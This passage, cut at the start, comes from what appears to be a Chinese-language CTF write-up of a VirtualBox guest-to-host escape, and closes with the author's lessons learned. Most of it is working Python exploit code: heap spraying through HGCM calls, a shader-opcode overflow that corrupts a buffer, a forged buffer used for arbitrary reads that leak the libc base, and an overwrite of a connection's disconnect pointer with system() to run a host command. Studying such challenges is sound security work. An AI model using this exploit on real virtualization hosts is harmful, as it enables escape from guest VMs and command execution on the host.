print("pConn#0: %#x" % self.pConn)
self.pClient = self.pConn-0x9e0
print("pClient#0: %#x" % self.pClient)
self.client2 = clients[18]
print("client2: %#x" % self.client2)
print(clients)

def spray_CRVBOXSVCBUFFER(self):
self.bufs = []
for i in range(self.spray_num):
self.bufs.append(alloc_buf(self.client1, self.spray_size, "A"*self.spray_size))
self.hole_pos = self.spray_num - 0x10
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [self.bufs[self.hole_pos], "A"*0x1000, 1337])

def enlarge_victim_size(self):
# trigger bug to enlarge a CRVBOXSVCBUFFER_t
msg = (pack("<III", CR_MESSAGE_OPCODES, 0X41414141, 1))
msg += "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
msg += 'aaaa'
msg += pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
msg += pack("<I", 0) #shader
msg += pack("<I", 2) #count
msg += pack("<I", 0) #hascNoLocalLength
msg += pack("<I", 0xfffff233)#pLocalLength
msg += pack("<I", 0x100)
ret = crmsg(self.client1, msg, self.spray_size)
return ret

def found_corrupted_buf(self):
print("[+] Finding corrupted buffer...")
found = -1
for i in range(self.spray_num):
if i != self.hole_pos:
try:
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.bufs[i], self.spray_size, 0, ""])
except IOError:
print("[+] Found corrupted id: 0x%x" % self.bufs[i])
found = self.bufs[i]
break
if found < 0:
exit("[-] Error could not find corrupted buffer.")
id_str = "%08x" % found
self.victim_id = int(id_str.replace("00", "0a"), 16)
print("[+] Victim id: %#x" % self.victim_id)

def write_fake(self):
self.fake_id = 0x13371337
try:
fake = pack("<IIQQQ", self.fake_id, 0x238, self.pConn, 0, 0)
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.victim_id, 0x0a0a010a, self.spray_size + 0x10, fake])
print("[+] Exploit successful.")
except IOError:
exit("[-] Failed")

def do_read(self, addr, n):
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.fake_id, 0x238, OFFSET_CONN_HOSTBUF, pack("<Q", addr)])
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [self.fake_id, 0x238, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])
print("[+] do read at %#x, %d" % (addr, n))
return res[:n]

def do_read64(self, addr):
res = self.do_read(addr, 8)
return unpack("<Q", res)[0]

def exploit(self):
cmd = "gnome-calculator"
# Overwrite CRConnection->disconnect to system, &CRConnection to cmd string.
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x238, 0x118, pack("<Q", self.system)])
hgcm_call(self.client1, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x238, 0, cmd])
# trigger disconnect
hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])

def leak_addrs(self):
self.leak_cr = self.do_read64(self.pConn + 0xc0)
print "[+] leak_cr: %#x" % self.leak_cr
self.cr_base = self.leak_cr - 0x11a6a0
print "[+] cr_base: %#x" % self.cr_base
dlopen_got = self.cr_base + 0x376458
dlopen_libc = self.do_read64(dlopen_got)
print "[+] dlopen: %#x" % dlopen_libc
self.libc = dlopen_libc - 0x3f1fe0
print "[+] libc: %#x" % self.libc
self.system = self.libc + 0x4f4e0
print "[+] system: %#x" % self.system

if __name__ == '__main__':
p = Pwn()
p.setup()
p.leak_addrs()
p.exploit()

Demo

demo.pngdemo.png)

Lesson Learned

题目调试下来难度其实不算高,尤其是已经有前人exp的情况下,修改主要是集中在调试越界读时候的堆布局和通过库文件binary确定结构体的成员变量偏移。比赛当中没有解出来,列出几点思考:

  1. 环境没有准备好,比赛就应该了解到Hyper-V和vmware的冲突以及解决方法,提前升级windows到2004版本,安装Vmware Workstation 16
  2. 考虑将主力虚拟机从hyper-v迁移到vmware,在RealWorld题目中会省去很多麻烦
  3. 运用gdb调试还不是很熟练,比如如何实现自动加载目标库基地址的功能,以及如何下断点更能提高调试效率
  4. windows terminal ssh连接目标机器,配合tmux作为调试环境已经非常好用了
  5. 心理素质还是有点不够硬,这类题目如果在线上赛,身处熟悉的环境应该能按时解出的。现场气氛比较紧张,加上第一天上来就被windows pwn打蒙了,心态还是有点影响。

大概是学生时期最后一次参加强网杯了, 感谢主办方设计的精彩题目,希望以后还有机会在现场解开RealWorld题目上台演示。